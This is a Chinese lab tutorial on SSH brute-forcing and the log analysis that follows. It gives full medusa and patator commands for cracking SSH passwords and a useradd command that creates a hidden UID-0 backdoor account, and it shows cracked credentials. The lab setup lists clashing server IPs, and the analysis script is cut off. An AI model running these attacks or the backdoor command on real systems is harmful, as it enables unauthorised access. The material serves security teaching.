| 关键词:文件 user 登录 用户 命令 密码 192.168 如图 SSH 157.131 | |||||
在目前绝大多数环境中,经常使用SSH来登录服务器,由于弱口令以及存在漏洞等安全问题,导致部分服务器或者多台服务器被攻击渗透,对于安全维护人员来说,需要对入侵日志进行分析,分析攻击来源IP,分析攻击原因等,本文是针对SSH入侵后,如何对日志文件进行分析和跟踪探讨,读者朋友可以自行搭建实验环境了解SSH账号口令破解等技术实现细节。 一、实验环境 1.环境配置 (1)IP地址。两台Kali Linux服务器,被攻击服务器A:IP地址为192.168.106.135,攻击服务器B:IP地址为192.168. 106.135 (2)服务器A用户: 2.添加用户及设置密码 (1)服务器A添加用户: useradd simeon -s /bin/bash useradd hacker -s /bin/bash useradd antian365 -s /bin/bash (2)设置密码,使用passwd username设置密码,密码需要连续两次输入同一密码,如图1所示,密码更新成功会提示“password updated successfully”。 passwd simeon antian365 passwd hacker hacker2017 passwd antian365 antian365 ![]() 图1设置密码 (3)另外一种直接添加用户密码的命令 openssl passwd -stdin password 获取加密字符串nfnr6Pj4Q.p.2或者ReFvQlyBAM06.通过执行下面命令来添加密码为antian365,具备执行bin/bash命令的shell,如图2所示。 useradd -p "nfnr6Pj4Q.p.2" hack -s /bin/bash useradd -p " ReFvQlyBAM06." hacknew -s /bin/bash 对于添加root账号,可以使用以下命令: useradd -p `openssl passwd -1 -salt antian 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test 以上命令将执行密码添加命令,其中salt值为antian,密码为123456,用户名为guest,权限跟root一样,加密方式采用md5. ![]() 图2添加用户密码 二、实施SSH暴力破解攻击 1. 使用medusa破解ssh密码 (1)在服务器B(192.168.157.133)上对服务器A(192.168.157.131)进行root密码破解 如图3所示,破解成功后会显示success字样,具体命令如下: medusa -M ssh -h 192.168.157.131 -u root -P newpass.txt (2)破解B服务器所有用户密码。user.txt指定需要暴力破解的用户名,密码文件指定为newpass.txt,注意user.txt和必须在执行命令当前目录下存在,如果是使用host文件,则-h参数变为-H host.txt,执行效果如图4所示。 medusa -M ssh -h 192.168.157.131 -U users.txt -P newpass.txt ![]() 图4 破解多个用户密码 技巧:加-O ssh.log 可以将成功破解的记录记录到ssh.log文件中。 例如记录到日志文件sshlog.log,破解完毕后通过more sshlog.log进行查看,如图5所示。 medusa -M ssh -h 192.168.157.131 -U user.txt -P newpass.txt -O sshlog.log ![]() (3)破解某个IP地址,并测试空密码以及与用户名一样的密码 medusa -M ssh -h 192.168.157.131 -U user.txt root -P /root/newpass.txt -e ns 2.使用patator进行ssh口令暴力破解 (1)执行单一用户密码破解 对主机192.168.157.131,用户simeon,密码文件为/root/newpass.txt进行破解,如图6所示,破解成功后会显示SSH登录标识“SSH-2.0-OpenSSH_7.5p1 Debian-10“,破解不成功会显示” Authentication failed. “提示信息,其破解时间为2秒,速度很快! patator ssh_login host=192.168.157.131 user=root password=FILE0 0=/root/newpass.txt ![]() 图6破解单一用户密码 注意: l patator默认在kali中安装,如果是在其他平台下请下载并安装patator git clone cd patator python setup.py install l 如果不是在安装文件夹下,则执行patator后加参数即可,否则会报错。 patator ssh_login host=192.168.157.131 user=root password=FILE0 0=/root/newpass.txt (2)破解多个用户。用户文件为/root/user.txt,密码文件为/root/newpass.txt,破解效果如图7所示。 ./patator.py ssh_login host=192.168.157.131 user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt或者命令 patator ssh_login host=192.168.157.131 user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt 使用以下命令仅仅显示破解成功的账号和密码: patator ssh_login host=192.168.157.131 user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt -x ignore:mesg=Authentication failed. 注意:patator中显示的密码验证结果是,用户名在后,密码在前! 三、登录ssh服务器进行账号验证 1.查看日志 查看medusa生成的日志文件sshlog.log,结果如下所示: # medusa -M ssh -h 192.168.157.131 -U user.txt -P newpass.txt -O sshlog.log ACCOUNT FOUND: [ssh] Host: 192.168.157.131 User: root Password: root [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.157.131 User: hacknew Password: antian365 [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.157.131 User: hack Password: antian365 [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.157.131 User: antian365 Password: antian365 [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.157.131 User: guest Password: 123456 [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.157.131 User: simeon Password: antian365 [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.157.131 User: hacker Password: hacker2017 [SUCCESS] 2. 使用ssh username@hostname登录服务器。 例如使用root账号登录192.168.157.131服务器,ssh 服务器。如图8所示,测试账号是否破解成功。 ![]() 图8登录ssh服务器 四、日志文件介绍 1.日志简介 日志对于安全来说,非常重要,它记录了系统每天发生的各种各样的事情,可以通过日志文件来检查错误发生的原因,或者受到攻击时攻击者留下的痕迹。日志的主要功能是审计和监测。在Linux系统中,有三个主要的日志子系统: (1)连接时间日志 由多个程序执行,把记录写入到/var/log/wtmp和/var/run/utmp,login等程序更新wtmp和utmp文件,使系统管理员能够跟踪谁在何时登录到系统。 (2)进程统计 由系统内核执行。当一个进程终止时,为每个进程往进程统计文件(pacct或acct)中写一个记录。进程统计的目的是为系统中的基本服务提供命令使用统计。 (3)错误日志 由syslogd执行。各种系统守护进程、用户程序和内核通过syslog向文件/var/log/messages报告值得注意的事件。另外有许多UNIX程序创建日志。像HTTP和FTP这样提供网络服务的服务器也保持详细的日志。 2.常用的日志文件 (1)access-log 记录HTTP/web的传输 (2)acct/pacct 记录用户命令 (3)aculog 记录MODEM的活动 (4)btmp 记录失败的记录 (5)lastlog 记录最近几次成功登录的事件和最后一次不成功的登录 (5)messages 从syslog中记录信息(有的链接到syslog文件) (6)sudolog 记录使用sudo发出的命令 (7)sulog 记录使用su命令的使用 (8)syslog 从syslog中记录信息(通常链接到messages文件) (9)utmp 记录当前登录的每个用户 (10)wtmp 一个用户每次登录进入和退出时间的永久记录 (11)xferlog 记录FTP会话 3. 查看日志的具体命令 wtmp和utmp文件都是二进制文件,他们不能被诸如tail命令剪贴或合并,用户需要使用who、w、users、last等来使用这两个文件包含的信息。 (1)who命令。查询utmp文件并报告当前登录的每个用户。Who的缺省输出包括用户名、终端类型、登录日期及远程主机。如果指明了wtmp文件名,则who命令查询所有以前的记录。命令who /var/log/wtmp把报告自从wtmp文件创建或删改以来的每一次登录。 (2)w命令。查询utmp文件并显示当前系统中每个用户和它所运行的进程信息。 (3)users命令。单独的一行打印出当前登录的用户,每个显示的用户名对应一个登录会话。如果一个用户有不止一个登录会话,那他的用户名把显示相同的次数。 (4)last命令。往回搜索wtmp来显示自从文件第一次创建以来登录过的用户。 五、分析登录日志 1.Linux SSH Log日志文件 不同操作系统其ssh记录日志文件和位置不一样,有secure、auth.log、messages等,详细情况如下 # Redhat or Fedora Core: /var/log/secure # Mandrake, FreeBSD or OpenBSD: /var/log/auth.log # SuSE: /var/log/messages # Mac OS X (v10.4 or greater): /private/var/log/asl.log # Mac OS X (v10.3 or earlier): /private/var/log/system.log # Debian: /var/log/auth.log 2.查看ssh登录日志 cat /var/log/auth.log 3. last显示用户最近登录信息 last命令用于显示当前操作系统中用户最近登录信息。单独执行last命令,它会读取/var/log/wtmp的文件,并把该给文件的内容记录的登入系统的用户名单全部显示出来。 (1)last -help显示帮助信息 (2)参数及选项 用法: last [选项] [ 选项: - -a, --hostlast 把从何处登入系统的主机名称或ip地址,显示在最后一行 -d, --dns 将IP地址转换成主机名称 -f, --file -F, --fulltimes 打印所有的登入和注销时间和日期 -i, --ip 显示IP地址信息 -n, --limit -R, --nohostname 不显示登入系统的主机名称或IP地址 -s, --since -t, --until -p, --present -w, --fullnames 显示所有用户及域名名称 -x, --system 显示系统关机,重新开机,以及执行等级的改变等信息 --time-format -h, --help 显示帮助信息并退出 -V, --version 显示版本信息及退出 (3)查看当前登录的用户 执行last命令后,如图9所示,可以看到hacker,guest、simeon、antian365、hack曾经登录过,hacker仍然在线。 ![]() 图9查看当前登录用户 4.使用脚本分析 将以下脚本保存为Anyalizesshlog.py,执行Anyalizesshlog.py /var/log/auth.log命令来分析当前的ssh登录日志,执行完毕后会在程序目录生成一个html文件,打开该文件可以看到ssh的登录信息,如图10所示。 ![]() 图10分析ssh登录日志 #/usr/bin/env python3.4 #Anyalize the /etc/auth.log files to get # 1) how many failed login trials # 2) how many succeeded login trials # 3) how many IPs where the login trials comes from and what they are # 4) how many invalid usernames are tested and what they are # # usage: # anyalyze | |||||
| 本文出处: https://www.toutiao.com/a6660703163563115021/ | |||||
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|